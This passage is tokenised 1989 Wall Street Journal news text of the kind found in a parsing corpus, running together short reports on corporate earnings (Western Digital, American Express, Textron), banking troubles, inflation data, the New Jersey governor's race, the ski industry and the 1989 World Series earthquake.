magnitude to those of Hurricane Hugo , '' according to Moody 's . +Your Oct. 5 editorial `` A Democratic Tax Cut '' contained an error . +In the third paragraph it referred to the senators seeking loophole suggestions from lobbyists for various sectors of the economy . +Among them , `` banana farmers . '' +The only significant commercial banana farmers in the U.S. are in Hawaii . +The Hawaii Banana Industry Association , to which nearly all of them belong , has no lobbyist . +Thomas V. Reese Sr . Maui Banana Co . +Western Digital Corp. reported a net loss of $ 2.7 million , or nine cents a share , for its first quarter ended Sept. 30 , citing factors as varied as hurricane damage , an advance in graphics technology and the strengthening dollar . +In the year-ago period , the company earned $ 12.9 million , or 45 cents a share , on sales of $ 247 million . +Sales for the just-ended period fell to about $ 225 million , the maker of computer parts said . +Nonetheless , Chairman Roger W. Johnson said he expects the company to be profitable in the current quarter . +`` We are positioned to come through , '' he said , noting that the company 's backlog was up from the previous quarter . +In its second quarter last year , Western Digital earned $ 12.7 million , or 44 cents a share , on sales of $ 258.4 million . +Mr. Johnson said Western Digital 's plant in Puerto Rico was affected by Hurricane Hugo , losing three days ' production because of the storm , which wrecked much of the Caribbean island 's infrastructure . +Although the plant itself was n't damaged , Mr. Johnson said millions of dollars in first-quarter revenue were lost . +The revenue will be regained in the current period , he added . +There are no plans to initiate a common stock dividend , Mr. Johnson said , explaining that the board continues to believe shareholders are best served by reinvesting excess cash . +Mr. Johnson said the first-quarter loss also heavily reflected a rapid change in graphics technology that left reseller channels with too many of the old computer graphics boards and too few new monitors compatible with the new graphics boards . +Western Digital does n't make the monitors . +An accelerating move by personal computer manufacturers ' to include advanced graphics capabilities as standard equipment further dampened reseller purchases of Western Digital 's equipment . +`` The other areas of the business -- storage and microcomputers -- were very good , '' Mr. Johnson said . +He said Western Digital has reacted swiftly to the movement to video graphics array , VGA , graphics technology from the old enhanced graphics adapter , EGA , which has a lower resolution standard , technology and now is one of the leading producers of these newer units . +Other makers of video controller equipment also were caught in the EGA-VGA shift , he said , `` but we were able to respond much more quickly . '' +Still , Mr. Johnson said , `` our stock is grossly undervalued . '' +He said the company has cut operating expenses by about 10 % over the last few quarters , while maintaining research and development at about 8 % to 9 % of sales . +As part of its reorganization this week , Western Digital has divided its business into two segments -- storage products , including controllers and disk drives ; and microcomputer products , which include graphics , communications and peripheral control chips . +Graphics , communications and peripheral control chips were combined because , increasingly , multiple functions are being governed by a single chip . +Storage , which includes computer controllers and 3.5-inch disk drives , represents nearly two-thirds of the company 's business . +Disk drives , which allow a computer to access its memory , generated 38 % more revenue in the most recent period compared with the fiscal first quarter a year earlier . +Computer parts are getting ever smaller , Mr. Johnson said , a shrinking that has propelled laptops into position as the fastest-growing segment of the computer business . +As smaller and more powerful computers continue to be the focus of the industry , he said , Western Digital is strengthening development of laptop parts . +Next year Western Digital plans to consolidate its operations from 11 buildings in Irvine into two buildings in the same city a new headquarters and , a block away , a modern $ 100 million silicon wafer fabrication plant . +The plan will help the company in its existing joint manufacturing agreement with AT&T . +About half of Western Digital 's business is overseas , and Mr. Johnson expects that proportion to continue . +Plans to dissolve many of the trade barriers within Europe in 1992 creates significant opportunities for the company , he said , particularly since Western Digital already manufactures there . +Capitalizing on that presence , Western Digital is launching a major effort to develop the embryonic reseller market in Europe . +Directors of state-owned Banca Nazionale del Lavoro approved a two-step capital-boosting transaction and a change in the bank 's rules that will help it operate more like a private-sector institution . +Until now , BNL 's top managers and its directors have been appointed by a Treasury decree . +But under the bank 's proposed statutes , an assembly of shareholders must approve board members . +The bank 's chairman and director general , who also sit on the board , still would be appointed by the Treasury . +BNL , which is controlled by the Italian Treasury , was rocked by the disclosure last month that its Atlanta branch extended more than $ 3 billion in unauthorized credits to Iraq . +The ensuing scandal , in which the bank 's management resigned , has helped renew calls for privatization , or at least an overhaul , of Italy 's banking system , which is about 80 % state-controlled . +In a related move , the bank also proposed that board representation be linked more closely to the bank 's new shareholding structure . +BNL called a shareholders ' assembly meeting in December to vote on the proposals . +BNL has about 75,000 nonvoting shares that are listed on the Milan Stock Exchange . +The shares were suspended from trading following disclosure of the Atlanta scandal ; Consob , the stock exchange regulatory body , reportedly will decide soon whether to end the trading suspension . +Switzerland 's wholesale price index increased 0.3 % in September from August , and was up 3.9 % from a year ago , marking the first time this year that the index has fallen below 4 % on a year-to-year basis , the government reported . +The government attributed the 0.3 % month-to-month rise in the index largely to higher energy prices . +In August , the index was up 0.2 % from the previous month , and was up 4.5 % on a year-to-year basis . +The wholesale price index , based on 1963 as 100 , was 180.9 in September . +American Express Co. posted a 21 % increase in third quarter net income despite a sharp rise in reserves for Third World loans at its banking unit . +Aided by a sharp gain in its travel business , American Express said net rose to $ 331.8 million , or 77 cents a share , from $ 273.9 million , or 64 cents a share . +The year-earlier figures included $ 9.9 million , or three cents a share , in income from discontinued operations . +Income from continuing operations was up 26 % . +Revenue rose 24 % to $ 6.5 billion from $ 5.23 billion . +The travel , investment services , insurance and banking concern added $ 110 million to reserves for credit losses at its American Express Bank unit , boosting the reserve to $ 507 million as of Sept. 30 . +The bank 's Third World debt portfolio totals $ 560 million , down from $ 2.2 billion at the end of 1986 . +The bank charged off $ 53 million in loans during the quarter . +At the American Express Travel Related Services Co. unit , net rose 17 % to a record $ 240.8 million on a 19 % revenue increase . +The figures exclude businesses now organized as American Express Information Services Co . +American Express card charge volume rose 12 % . +Travel sales rose 11 % , led by gains in the U.S. . +At IDS Financial Services , the financial planning and mutual fund unit , net rose 19 % to a record $ 47.6 million on a 33 % revenue gain . +Assets owned or managed rose 20 % to $ 45 billion , and mutual fund sales rose 45 % in the quarter to $ 923 million . +American Express Bank earnings fell 50 % to $ 21.3 million from $ 42.5 million despite a 29 % revenue gain . +The results include $ 106 million of tax benefits associated with previous years ' Third World loan activity , compared with $ 15 million a year earlier . +Profit rose 38 % at American Express Information Services to $ 21.6 million . +Shearson Lehman Hutton Holdings Inc. , as previously reported , had net of $ 65.9 million , reversing a $ 3.5 million loss a year earlier ; its latest results include a $ 37 million gain from the sale of an institutional money management business . +American Express 's share of Shearson 's earnings was $ 41 million , after preferred stock dividends ; it owns about 68 % of Shearson 's common . +For the nine months , American Express said net rose 11 % to $ 899.8 million , or $ 2.09 a share , from $ 807.5 million , or $ 1.89 a share . +Revenue rose 24 % to $ 18.73 billion from $ 15.09 billion . +Textron Inc. , hampered by a slowdown in its defense sales , reported an 8 % decline in per-share earnings on nearly flat revenue for its third quarter . +The aerospace and financial services concern said net income fell 5 % to $ 59.5 million from $ 62.8 million . +Revenue of $ 1.73 billion was almost unchanged from last year 's $ 1.72 billion . +Per-share net of 66 cents , down from 72 cents , fell by more than overall net because of more shares outstanding . +The company said that improved results in its financial-services sector were negated by increased costs in its government contract business , lower operating earnings in its commercial-products sector and soft automotive markets . +Net was aided by a lower income tax rate . +Profit before taxes fell 17 % to $ 84.4 million from $ 101.4 million . +For the nine months , Textron reported net of $ 182.1 million , or $ 2.06 a share , on revenue of $ 5.41 billion . +A year ago , net was $ 170.4 million , or $ 1.93 a share , on revenue of $ 5.3 billion . +The nine-month results included a $ 9.5 million special charge in 1989 for an arbitration settlement related to past export sales , and $ 29.7 million in extraordinary charges in 1988 related to a former line of business and early redemption of debt . +Textron said that nine-months ' results do n't include earnings of Avdel PLC , a British maker of industrial fasteners , but do include interest costs of $ 16.4 million on borrowings related to the proposed purchase of Avdel . +A federal judge has issued a preliminary injunction against the purchase because of Federal Trade Commission concerns that the transaction would reduce competition in the production of two kinds of rivets . +For the quarter , Textron said aerospace revenue , including Bell helicopter and jet-engine manufacture , declined 9.8 % to $ 755.9 million from $ 838.3 million , an indication of slowing government defense work . +As the Hunt brothers ' personal bankruptcy cases sputter into their second year , Minpeco S.A. has proposed a deal to settle its huge claim against the troubled Texas oil men . +But the plan only threatens to heighten the tension and confusion already surrounding the cases that were filed in September 1988 . +The Peruvian mineral concern 's $ 251 million claim stems from 1988 jury award in a case stemming from the brothers ' alleged attempts to corner the 1979-80 silver market . +Minpeco now says it is willing to settle for up to $ 65.7 million from each brother , although the actual amount would probably be much less . +Although the proposal must be approved by federal Judge Harold C. Abramson , W. Herbert Hunt has agreed to the Peruvian mineral concern 's proposal . +Nelson Bunker Hunt is considering it , although his attorney says he wo n't do it if the proposal jeopardizes a tentative settlement he has reached with the Internal Revenue Service , which claims the brothers owe $ 1 billion in back taxes and is by far the biggest creditor in both cases . +The tentative agreement between the IRS and Nelson Bunker Hunt is awaiting U.S. Justice Department approval . +Under it , the former billionaire 's assets would be liquidated with the IRS getting 80 % of the proceeds and the rest being divided among other creditors , including Minpeco and Manufacturers Hanover Trust Co. , which is seeking repayment of a $ 36 million loan . +A similiar proposal has been made in the W. Herbert Hunt case although he and the IRS are at odds over the size of the non-dischargable debt he would have to pay to the government from future earnings . +In both cases , Minpeco and Manufacturers Hanover have been fighting ferociously over their shares of the pie . +With support from the IRS , Manufacturers Hanover has filed suit asking Judge Abramson to subordinate Minpeco 's claim to those of Manufacturer Hanover and the IRS . +Minpeco has threatened a `` volcano '' of litigation if the Manufacturers Hanover Corp. unit attempts to force such a plan through the court . +Minpeco said it would n't pursue such litigation if its settlement plan in the W. Herbert Hunt case is approved by Judge Abramson , who will consider the proposal at a hearing next week . +Minpeco attorney Thomas Gorman decribed the plan as one step toward an overall settlement of the W. Herbert Hunt case but Hugh Ray , attorney for Manufacturers Hanover , called it `` silly '' and said he would fight it in court . +`` The thing is so fluid right now that there 's really no way to say what will happen , '' says Justice Department attorney Grover Hartt III , who represents the IRS in the case . +`` Developments like this are hard to predict . +Banc One Corp. said it agreed in principle to buy five branch offices from Trustcorp Inc. , Toledo , Ohio , following the planned merger of Trustcorp into Society Corp. , Cleveland . +The five offices in Erie and Ottawa counties in northern Ohio have total assets of about $ 88 million , Banc One said . +The purchase price will be established after Banc One has an opportunity to study the quality of the assets , Banc One said . +Society Corp. already has branches in the area , and selling the Trustcorp offices could avoid a problem with regulators over excessive concentration of banking in the two counties after the merger of Trustcorp into Society , according to industry sources . +The merger is scheduled to take place in the 1990 first quarter . +Stock-market fears and relatively more attractive interest rates pushed money-market mutual fund assets up $ 6.07 billion in the latest week , the sharpest increase in almost two years . +The 473 funds tracked by the Investment Company Institute , a Washington-based trade group , rose to $ 356.1 billion , a record . +The $ 6.07 billion increase was the strongest weekly inflow since January 1988 . +The increase was spread fairly evenly among all three types of funds . +Individual investors , represented in the general-purpose and broker-dealer fund categories , pulled money from the stock market after its big drop last Friday and put the money into funds , said Jacob Dreyer , vice president and chief economist of the Institute . +`` Insitutional investors , on the other hand , reacted to the steep decline in yields on direct money-market instruments following the stock-market decline last Friday , '' Mr. Dreyer said . +Yields on money funds dropped in the week ended Tuesday , according to Donoghue 's Money Fund Report , a Holliston , Mass. , newsletter . +The average seven-day compounded yield fell to 8.55 % from 8.60 % the week earlier , Donoghue 's said . +At the auction of six-month U.S. Treasury bills on Monday , the average yield fell to 7.61 % from 7.82 % . +Likewise , certificates of deposit on average posted lower yields in the week ended Tuesday . +The 142 institutional-type money funds rose $ 2.23 billion to $ 85.49 billion . +The 235 general-purpose funds increased $ 2.53 billion to $ 116.56 billion , while 96 broker-dealer funds increased $ 1.3 billion to $ 154.05 billion . +Domestic lending for real estate and property development was the source of Bank Bumiputra Malaysia Bhd. 's most recent spate of financial troubles , the institution 's executive chairman , Mohamed Basir Ismail , said . +Speaking to reporters this week after Bank Bumiputra 's shareholders approved a rescue plan , Tan Sri Basir said heavy lending to the property sector rocked the bank when property prices in Malaysia plummeted in 1984-85 . +He said the bank could n't wait any longer for prices to recover and for borrowers to service their loans . +So the bank 's board decided to make 1.23 billion Malaysian dollars -LRB- US$ 457 million -RRB- in provisions for interest payments from loans previously recorded as revenue but never actually received by the bank , and to submit a bailout package to replenish the bank 's paid-up capital . +The predicament , he added , was similar to the Hong Kong 1982-83 property-price collapse , which exposed the involvement of Bank Bumiputra 's former subsidiary in the colony in the largest banking scandal in Malaysia 's history . +The subsidiary , Bumiputra Malaysia Finance Ltd. , was left with M$ 2.26 billion in bad loans made to Hong Kong property speculators . +Both episodes wiped out Bank Bumiputra 's shareholders ' funds . +Each time , the bank 's 90 % shareholder -- Petroliam Nasional Bhd. , or Petronas , the national oil company -- has been called upon to rescue the institution . +In five years , Petronas , which became the dominant shareholder in a 1984 rescue exercise , has spent about M$ 3.5 billion to prop up the troubled bank . +Tan Sri Basir said the capital restructuring plan has been approved by Malaysia 's Capital Issues Committee and central bank . +Malaysia 's High Court is expected to approve the plan . +Once the plan is approved , Tan Sri Basir said , most of Bank Bumiputra 's nonperforming loans will have been fully provided for and the bank will be on track to report a pretax profit of between M$ 160 million and M$ 170 million for the fiscal year ending March 31 . +For the previous financial year , the bank would have reported a pretax profit of M$ 168 million if it had n't made provisions for the nonperforming loans , he said . +Malaysia 's Banking Secrecy Act prohibited the bank from identifying delinquent borrowers , said Tan Sri Basir . +But public documents indicate 10 % or more of the bank 's provisions were made for foregone interest on a M$ 200 million loan to Malaysia 's dominant political party , the United Malays National Organization , to build its convention and headquarters complex in Kuala Lumpur . +The loan to UMNO was made in September 1983 . +`` We lent a lot of money all over the place , '' said Tan Sri Basir , who refused to discuss the bank 's outstanding loans to +As well as the M$ 1.23 billion in provisions announced on Oct. 6 , the restructuring package covers an additional M$ 450 million in provisions made in earlier years but never reflected in a reduction of the bank 's paid-up capital . +At the end of the exercise , the cash injection from Petronas will increase the bank 's paid-up capital to M$ 1.15 billion after virtually being wiped out by the new provisions . +Heidi Ehman might have stepped from a recruiting poster for young Republicans . +White , 24 years old , a singer in her church choir , she symbolizes a generation that gave its heart and its vote to Ronald Reagan . +`` I felt kind of safe , '' she says . +No longer . +When the Supreme Court opened the door this year to new restrictions on abortion , Ms. Ehman opened her mind to Democratic politics . +Then a political novice , she stepped into a whirl of `` pro-choice '' marches , house parties and fund-raisers . +Now she leads a grassroots abortion-rights campaign in Passaic County for pro-choice Democratic gubernatorial candidate James Florio . +`` This is one where I cross party lines , '' she says , rejecting the anti-abortion stance of Rep. Florio 's opponent , Reagan-Republican Rep. James Courter . +`` People my age thought it was n't going to be an issue . +Now it has -- especially for people my age . '' +Polls bear out this warning , but after a decade of increased Republican influence here , the new politics of abortion have contributed to a world turned upside down for Mr. Courter . +Unless he closes the gap , Republicans risk losing not only the governorship but also the assembly next month . +Going into the 1990s , the GOP is paying a price for the same conservative social agenda that it used to torment Democrats in the past . +This change comes less from a shift in public opinion , which has n't changed much on abortion over the past decade , than in the boundaries of the debate . +New Jersey 's own highest court remains a liberal bulwark against major restrictions on abortion , but the U.S. Supreme Court ruling , Webster vs. Missouri , has engaged voters across the nation who had been insulated from the issue . +Before July , pro-choice voters could safely make political decisions without focusing narrowly on abortion . +Now , the threat of further restrictions adds a new dimension , bringing an upsurge in political activity by abortion-rights forces . +A recent pro-choice rally in Trenton drew thousands , and in a major reversal , Congress is defying a presidential veto and demanding that Medicaid abortions be permitted in cases of rape and incest . +`` If Webster had n't happened , you would n't be here , '' Linda Bowker tells a reporter in the Trenton office of the National Organization for Women . +`` We could have shouted from the rooftops about Courter ... and no one would have heard us . '' +New Jersey is a proving ground for this aggressive women's-rights movement this year . +The infusion of activists can bring a clash of cultures . +In Cherry Hill , the National Abortion Rights Action League , whose goal is to sign up 50,000 pro-choice voters , targets a union breakfast to build labor support for its cause . +The league organizers seem more a fit with a convention next door of young aerobics instructors in leotards than the beefy union leaders ; `` I wish I could go work out , '' says a slim activist . +A labor chief speaks sardonically of having to `` man and woman '' Election Day phones . +No age group is more sensitive than younger voters , like Ms. Ehman . +A year ago this fall , New Jersey voters under 30 favored George Bush by 56 % to 39 % over Michael Dukakis , according to a survey then by Rutgers University 's Eagleton Institute . +A matching Eagleton-Newark Star Ledger poll last month showed a complete reversal . +Voters in the same age group backed Democrat Florio 55 % to 29 % over Republican Courter . +Abortion alone ca n't explain this shift , but New Jersey is a model of how so personal an issue can become a baseline of sorts in judging a candidate . +By a 2-to-1 ratio , voters appear more at ease with Mr. Florio 's stance on abortion , and polls indicate his lead widens when the candidates are specifically linked to the issue . +`` The times are my times , '' says Mr. Florio . +The Camden County congressman still carries himself with a trademark `` I'm-coming-down-your-throat '' intensity , but at a pause in Newark 's Columbus Day parade recently , he was dancing with his wife in the middle of the avenue in the city 's old Italian-American ward . +After losing by fewer than 1,800 votes in the 1981 governor 's race , he has prepared himself methodically for this moment , including deciding in recent years he could no longer support curbs on federal funding for Medicaid abortions . +`` If you 're going to be consistent and say it is a constitutionally protected right , '' he asks , `` how are you going to say an upscale woman who can drive to the hospital or clinic in a nice car has a constitutional right and someone who is not in great shape financially does not ? '' +Mr. Courter , by comparison , seems a shadow of the confident hawk who defended Oliver North before national cameras at Iran-Contra hearings two years ago . +Looking back , he says he erred by stating his `` personal '' opposition to abortion instead of assuring voters that he would n't impose his views on `` policy '' as governor . +It is a distinction that satisfies neither side in the debate . +`` He does n't know himself , '' Kathy Stanwick of the Abortion Rights League says of Mr. Courter 's position . +Even abortion opponents , however angry with Mr. Florio , ca n't hide their frustration with the Republican 's ambivalence . +`` He does n't want to lead the people , '' says Richard Traynor , president of New Jersey Right to Life . +Moreover , by stepping outside the state 's pro-choice tradition , Mr. Courter aggravates fears that he is too conservative as well on more pressing concerns such as auto insurance rates and the environment . +He hurt himself further this summer by bringing homosexual issues into the debate ; and by wavering on this issue and abortion , he has weakened his credibility in what is already a mean-spirited campaign on both sides . +Elected to Congress in 1978 , the 48-year-old Mr. Courter is part of a generation of young conservatives who were once very much in the lead of the rightward shift under Mr. Reagan . +Like many of his colleagues , he did n't serve in Vietnam in the 1960s yet embraced a hawkish defense and foreign policy -- even voting against a 1984 resolution critical of the U.S. mining of Nicaraguan harbors . +Jack Kemp and the writers Irving Kristol and George Gilder were influences , and Mr. Courter 's own conservative credentials proved useful to the current New Jersey GOP governor , Thomas Kean , in the 1981 Republican primary here . +The same partnership is now crucial to Mr. Courter 's fortunes , but the abortion issue is only a reminder of the gap between his record and that of the more moderate , pro-choice Gov. Kean . +While the Warren County congressman pursued an anti-government , anti-tax agenda in Washington , Gov. Kean was approving increased income and sales taxes at home and overseeing a near doubling in the size of New Jersey 's budget in his eight years in office . +Kean forces play down any differences with Mr. Courter , but this history makes it harder for the conservative to run against government . +Mr. Courter 's free-market plan to bring down auto insurance rates met criticism from Gov. Kean 's own insurance commissioner . +Mr. Courter is further hobbled by a record of votes opposed to government regulation on behalf of consumers . +Fluent in Spanish from his days in the Peace Corps , Mr. Courter actively courts minority voters but seems oddly over his head . +He is warm and polished before a Puerto Rican Congress in Asbury Park . +Yet minutes after promising to appoint Hispanics to high posts in state government , he is unable to say whether he has ever employed any in his congressional office . +`` I do n't think we do now , '' he says . +`` I think we did . '' +Asked the same question after his appearance , Democrat Florio identifies a staff member by name and explains her whereabouts today . +When he is presented with a poster celebrating the organization 's 20th anniversary , he recognizes a photograph of one of the founders and recalls time spent together in Camden . +Details and Camden are essential Florio . +Elected to Congress as a `` Watergate baby '' in 1974 , he ran for governor three years later . +In the opinion of many , he has n't stopped running since , even though he declined a rematch with Gov. Kean in 1985 . +His base in South Jersey and on the House Energy and Commerce Committee helped him sustain a network of political-action committees to preserve his edge . +With limited budgets for television in a high-priced market , Mr. Florio 's higher recognition than his rival is a major advantage . +More than ever , his pro-consumer and pro-environment record is in sync with the state . +Auto insurance rates are soaring . +A toxic-waste-dump fire destroyed part of an interstate highway this summer . +In Monmouth , an important swing area , Republican freeholders now run on a slogan promising to keep the county `` clean and green . '' +Mr. Florio savors this vindication , but at age 52 , the congressman is also a product of his times and losses . +He speaks for the death penalty as if reading from Exodus 21 ; to increase state revenue he focuses not on `` taxes '' but on `` audits '' to cut waste . +Hard-hitting consultants match ads with Mr. Courter 's team , and Mr. Florio retools himself as the lean , mean Democratic fighting machine of the 1990s . +Appealing to a young audience , he scraps an old reference to Ozzie and Harriet and instead quotes the Grateful Dead . +The lyric chosen -- `` long strange night '' -- may be an apt footnote to television spots by both candidates intended to portray each other as a liar . +The Democratic lawmaker fits a pattern of younger reformers arising out of old machines , but his ties to Camden remain a sore point because of the county 's past corruption . +His campaign hierarchy is chosen from elsewhere in the state , and faced with criticism of a sweetheart bank investment , he has so far blunted the issue by donating the bulk of his profits to his alma mater , Trenton State College . +Mr. Florio 's forcefulness on the abortion issue after the Webster ruling divides some of his old constituency . +Pasquale Pignatelli , an unlikely but enthusiastic pipe major in an Essex County Irish bagpipe band , speaks sadly of Mr. Florio . +`` I am a devout Catholic , '' says Mr. Pignatelli , a 40-year-old health officer . +`` I ca n't support him because of abortion . '' +Bill Wames Sr. , 72 , is Catholic too , but unfazed by Mr. Florio 's stand on abortion . +A security guard at a cargo terminal , he wears a Sons of Italy jacket and cap celebrating `` The US 1 Band . '' +`` I still think the woman has the right to do with her body as she pleases , '' he says . +`` If you want more opinions ask my wife . +She has lots of opinions . +Consumer prices rose a surprisingly moderate 0.2 % in September , pushed up mostly by a jump in clothing costs , the Labor Department reported . +Energy costs , which drove wholesale prices up sharply during the month , continued to decline at the retail level , pulling down transportation and helping to ease housing costs . +The report was the brightest news the financial markets had seen since before the stock market plunged more than 190 points last Friday . +The Dow Jones Industrial Average rallied on the news , closing 39.55 points higher at 2683.20 . +Bond prices also jumped as traders appeared to read the data as a sign that interest rates may fall . +But many economists were not nearly as jubilant . +The climb in wholesale energy prices is certain to push up retail energy prices in the next few months , they warned . +They also said the dollar is leveling off after a rise this summer that helped to reduce the prices of imported goods . +`` I think inflation is going to pick up through the fall , '' said Joel Popkin , a specialist on inflation who runs an economic consulting firm here . +`` It has been in what I would describe as a lull for the past several months . '' +`` We 've had whopping declines in consumer energy prices in each of the past three months , and at the wholesale level those are fully behind us now , '' said Jay Woodworth , chief domestic economist at Bankers Trust Co. in New York . +Because wholesale energy prices shot up by a steep 6.5 % last month , many analysts expected energy prices to rise at the consumer level too . +As a result , many economists were expecting the consumer price index to increase significantly more than it did . +But retail energy prices declined 0.9 % in September . +Though analysts say competition will probably hold down increases in retail energy prices , many expect some of the wholesale rise to be passed along to the consumer before the end of the year . +Still , some analysts insisted that the worst of the inflation is behind . +`` It increasingly appears that 1987-88 was a temporary inflation blip and not the beginning of a cyclical inflation problem , '' argued Edward Yardeni , chief economist at Prudential-Bache Securities Inc. in New York . +In both 1987 and 1988 , consumer prices rose 4.4 % . +A run-up in world oil prices last winter sent consumer prices soaring at a 6.7 % annual rate in the first five months of this year , but the subsequent decline in energy prices has pulled the annual rate back down to 4.4 % . +Mr. Yardeni predicted that world business competition will continue to restrain prices . +`` The bottom line is , it seems to me that the economic environment has become very , very competitve for a lot of businesses , '' he said . +`` Back in 1987-88 , business was operating at fairly tight capacity , so businesses felt they could raise prices . '' +Now , he said , a slowdown in economic activity has slackened demand . +The mild inflation figures renewed investors ' hopes that the Federal Reserve will ease its interest-rate stance . +The steep climb in producer prices reported last Friday fostered pessimism about lower interest rates and contributed to the stock market 's 6.9 % plunge that day . +In the past several days , however , the U.S. 's central bank has allowed a key interest rate to fall slightly to try to stabilize the markets . +Analysts say Fed policy makers have been wary of relaxing credit too much because they were still uncertain about the level of inflation in the economy . +Excluding the volatile categories of energy and food -- leaving what some economists call the core inflation rate -- consumer prices still rose only 0.2 % in September . +Transportation costs actually fell 0.5 % , and housing costs gained only 0.1 % . +Apparel prices rocketed up 1.7 % , but that was after three months of declines . +Medical costs continued their steep ascent , rising 0.8 % after four consecutive months of 0.7 % increases . +Car prices , another area that contributed to the steep rise in the wholesale index last month , still showed declines at the consumer level . +They dropped 0.4 % as dealers continued to offer rebates to attract customers . +Food prices rose 0.2 % for the second month in a row , far slower than the monthly rises earlier in the year . +Separately , the Labor Department reported that average weekly earnings rose 0.3 % in September , after adjusting for inflation , following a 0.7 % decline in August . +All the numbers are adjusted for seasonal fluctuations . +Here are the seasonally adjusted changes in the components of the Labor Department 's consumer price index for September . +After watching interest in the sport plummet for years , the ski industry is trying to give itself a lift . +Across the country , resorts are using everything from fireworks to classical-music concerts to attract new customers . +Some have built health spas , business centers and shopping villages so visitors have more to do than ski . +And this week , the industry 's efforts will go national for the first time when it unveils a $ 7 million advertising campaign . +Such efforts -- unheard of only a few years ago -- are the latest attempts to revive the sagging $ 1.76 billion U.S. ski industry . +Since the start of the decade , lift-ticket sales have grown only 3 % a year on average , compared with 16 % annual growth rates in the '60s and '70s . +Last season , lift-ticket sales fell for the first time in seven years . +By some estimates , nearly a fourth of all U.S. ski areas have been forced to shut down since the early '80s . +Competition and mounting insurance and equipment costs have been the undoing of many resorts . +But another big problem has been the aging of baby boomers . +Skiing , after all , has mainly been for the young and daring and many baby boomers have outgrown skiing or have too many family responsibilities to stick with the sport . +In its new ad campaign , created by D'Arcy Masius Benton & Bowles Inc. , Chicago , the ski industry is trying to change its image as a sport primarily for young white people . +One 60-second TV spot features a diverse group of skiers gracefully gliding down sun-drenched slopes : senior citizens , minorities , families with children -- even a blind skier . +`` Ski school is great , '' cries out a tot , bundled in a snowsuit as he plows down a bunny slope . +`` You 'll never know 'til you try , '' says a black skier . +`` We used to show some hot-dog skier in his twenties or thirties going over the edge of a cliff , '' says Kathe Dillmann , a spokeswoman for the United Ski Industries Association , the trade group sponsoring the campaign . +Ski promotions have traditionally avoided the touchy issue of safety . +But the new commercials deal with it indirectly by showing a woman smiling as she tries to get up from a fall . +`` We wanted to show it 's okay if you fall , '' says Ms. Dillmann . +`` Most people think if you slip , you 'll wind up in a body cast . '' +The ad campaign represents an unusual spirit of cooperation among resorts and ski equipment makers ; normally , they only run ads hyping their own products and facilities . +But in these crunch times for the ski industry , some resorts , such as the Angel Fire , Red River and Taos ski areas in New Mexico , have even started shuttle-busing skiers to each other 's slopes and next year plan to sell tickets good for all local lifts . +Many resorts also are focusing more on the service side of their business . +Since 40 % of skiers are parents , many slopes are building nurseries , expanding ski schools and adding entertainment for kids . +Vail , Colo. , now has a playland that looks like an old mining town ; kids can ski through and pan for fool 's gold . +For $ 15 , they can enjoy their own nightly entertainment , with dinner , without mom and dad . +A few years ago , parents usually had to hire a sitter or take turns skiing while one spouse stayed with the children . +`` Most parents who had to go through that never came back , '' says Michael Shannon , president of Vail Associates Inc. , which owns and operates the Vail and nearby Beaver Creek resorts . +To make skiing more convenient for time-strapped visitors , several resorts are buying or starting their own travel agencies . +In one phone call , ski buffs can make hotel and restaurant reservations , buy lift tickets , rent ski equipment and sign up for lessons . +And resorts are adding other amenities , such as pricey restaurants , health spas and vacation packages with a twist . +During Winter Carnival week , for example , visitors at Sunday River in Maine can take a hot-air balloon ride . +`` People these days want something else to do besides ski and sit in the bar , '' says Don Borgeson , executive director of Angel Fire , N.M. 's Chamber of Commerce . +The ski industry hopes to increase the number of skiers by 3.5 million to about 21.7 million in the next five years with its latest ads and promotions . +But some think that 's being overly optimistic . +For one thing , it may be tough to attract people because skiing is still expensive : a lift ticket can cost up to $ 35 a day and equipment prices are rising . +And most vacationers still prefer a warm climate for their winter excursions . +An American Express Co. survey of its travel agents revealed that only 34 % believe their clients will pick a trip this winter based on the availability of winter sports , as opposed to 69 % who think that warm-weather sports will be the deciding factor . +`` Even if they could bring in that many new skiers , I do n't know if -LCB- the industry -RCB- could handle that kind of an increase , '' says I. William Berry , editor and publisher of the Ski Industry Letter in Katonah , N.Y . +`` Most people will come on the weekend , the slopes will be overcrowded and then these -LCB- new skiers -RCB- wo n't come back . +They did n't play the third game of the World Series on Tuesday night as scheduled , and they did n't play it on Wednesday or Thursday either . +But you knew that , did n't you ? +They are supposed to play the game next Tuesday , in Candlestick Park here . +The theory is that the stadium , damaged by Tuesday 's earthquake , will be repaired by then , and that people will be able to get there . +Like just about everything else , that remains to be seen . +Aftershocks could intervene . +But , at least , the law of averages should have swung to the favorable side . +It may seem trivial to worry about the World Series amid the destruction to the Bay Area wrought by Tuesday 's quake , but the name of this column is `` On Sports , '' so I feel obliged to do so . +You might be interested to know that baseball , not survival , appeared to be the first thought of most of the crowd of 60,000-odd that had gathered at Candlestick at 5:04 p.m. Tuesday , a half-hour before game time , when the quake struck . +As soon as the tremor passed , many people spontaneously arose and cheered , as though it had been a novel kind of pre-game show . +One fan , seated several rows in front of the open , upper-deck auxiliary press section where I was stationed , faced the assembled newsies and laughingly shouted , `` We arranged that just for you guys ! '' +I thought and , I 'm sure , others did : `` You should n't have bothered . '' +I 'd slept through my only previous brush with natural disaster , a tornado 15 or so summers ago near Traverse City , Mich. , so I was unprepared for one reaction to such things : the urge to talk about them . +Perhaps primed by the daily diet of radio and TV reporters thrusting microphones into people 's faces and asking how they `` feel '' about one calamity or another , fellow reporters and civilians who spied my press credential were eager to chat . +`` It felt like I was on a station platform and a train went by , '' said one man , describing my own reaction . +A women said she saw the park 's light standards sway . +A man said he saw the upper rim undulate . +I saw neither . +Dictates of good sense to the contrary not withstanding , the general inclination was to believe that the disturbance would be brief and that ball would be played . +`` I was near the top of the stadium , and saw a steel girder bow six feet from where I sat , but I stayed put for 10 or 15 minutes , '' confessed a friend . +`` I guess I thought , ` This is the World Series and I 'm not gon na wimp out ! ' '' +Here in the Global Village , though , folks do not stay uninformed for long . +Electrical power was out in still-daylighted Candlestick Park , but battery-operated radios and television sets were plentiful . +Within a few minutes , the true extent of the catastrophe was becoming clear . +Its Richter Scale measurement was reported as 6.5 , then 6.9 , then 7.0 . +A section of the Bay Bridge had collapsed , as had a part of Interstate Highway 880 in Oakland . +People had died . +At 5:40 p.m. , scheduled game time having passed , some fans chanted `` Let 's Play Ball . '' +No longer innocent , they qualified as fools . +The stadium was ordered evacuated soon afterward ; the announcement , made over police bullhorns , cited the power outage , but it later was revealed that there also had been damage of the sort reported by my friend . +Outside , I spotted two young men lugging blocks of concrete . +`` Pieces of Candlestick , '' they said . +The crowd remained good natured , even bemused . +TV reporters interviewed fans in the parking lots while , a few feet away , others watched the interviews on their portable TVs . +The only frenzy I 